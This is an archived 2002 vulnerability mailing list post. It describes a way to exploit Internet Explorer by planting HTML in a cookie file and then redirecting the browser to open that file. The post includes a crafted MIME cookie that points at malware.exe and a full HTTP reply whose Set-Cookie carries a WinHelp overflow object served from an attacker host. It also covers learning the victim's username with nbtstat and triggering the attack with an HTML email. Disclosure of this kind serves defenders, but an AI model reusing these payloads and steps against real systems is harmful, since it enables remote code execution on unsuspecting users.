Vulnerability Development mailing list archives

Re: killer k00kie [was Re: SILLY BEHAVIOR : Internet Explorer 5.5 - 6.0]

From: Markus Kern <markus-kern () gmx net>
Date: Sun, 25 Aug 2002 14:07:06 +0200

On closer examination, if we can format our cookie, we have a new and 
interesting entry point, bringing to final closure, once and for all, 
the "dangers of cookies".

The following represents an actual cookie:

---killer K00kie---

MIME-Version: 1.0
Content-Location:file:///malware.exe
Content-Transfer-Encoding: base64

TVpEAQUAAgAgACEA//91AAACAACZAAAAPgAAAAEA+zBqcgAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAB5AAAAngAAAAAAAAAAAAAAAAA=/www.malware.com/
<applet CLASSID="CLSID:55555555-5555" 
codebase="mhtml:file:///C:\WINDOWS\TEMP\Cookies\anyuser@www.malware
[1].txt!file:///malware.exe">160092129932829606357209871436829509617*

---killer K00kie---


<snip>

3. If we can format our first three lines in the cookie as above and 
with one space between the encoding, it will function as designed.

4. Question is, can we?


While I know of no way to achieve the necessary LFs in a cookie file
the recently discovered winhlp32.exe overflow can be used in exactly
this way.

Imagine the following http server reply (lines probably wrapped):

--- http reply ---

HTTP/1.0 301 Redirect
Location: file://C:\Dokumente und Einstellungen\SomeUser\Cookies\SomeUser@www.attacker[1].txt.
Set-Cookie: sploit=<HTML><OBJECT classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11 
codeBase=hhctrl.ocx#Version=4,72,8252,0 height=0 id=winhelp type=application/x-oleobject width=0><PARAM NAME="Width" 
VALUE="26"><PARAM NAME="Height" VALUE="26"><PARAM NAME="Command" VALUE="WinHelp"><PARAM NAME="Item1" VALUE='<overflow 
code>'><PARAM NAME="Item2" VALUE="Sec-1 LTD"></OBJECT><SCRIPT>winhelp.HHClick()</SCRIPT></HTML>; path=/; 
domain=www.attacker.com; expires=Fri, 12-Jun-2003 00:00:00 GMT

<HTML><BODY>
You're being redirected to cookie land...
</BODY></HTML>

--- http reply ---

If IE makes a http request (no matter for what) to www.attacker.com
this reply is send back. IE saves the cookie to disk and follows the
redirect which uses the Sandblad dot bug to open the cookie file as
html. The winhlp32.exe overflow is triggered and our code executes.

The only problem an attacker has is determining the path to the cookie
file, specifically the user name. One way to do this is to use
nbtstat -A <victim's ip> which dumps the netbios name table of the
victim if available.

The interesting thing about this way to exploit IE vulnerabilities is
that all exploit code is delivered by the http server. The only thing
an attacker has to do is to somehow make the victim's IE fetch an
arbitrary URL from a host he controls.
This can be achieved for example by a simple html email which contains
an <img> tag. Scanning emails for scripts is totally useless then.

While there is a patch available for the winhlp32.exe overflow this way
of exploitation can be used with any other (future) IE vulnerability.
The real problem here is that cookie paths are very predictable and
that the Sandblad dot bug can be used to render cookie files as html.

I've tested this on win2k with IE 5.5, however I'm not up to date with
patches so some things might have to be tweaked a bit to make it run
on fully patched systems.

--
Markus

Current thread:

killer k00kie [was Re: SILLY BEHAVIOR : Internet Explorer 5.5 - 6.0] http-equiv () excite com (Aug 20)
- Re: killer k00kie [was Re: SILLY BEHAVIOR : Internet Explorer 5.5 - 6.0] Markus Kern (Aug 25)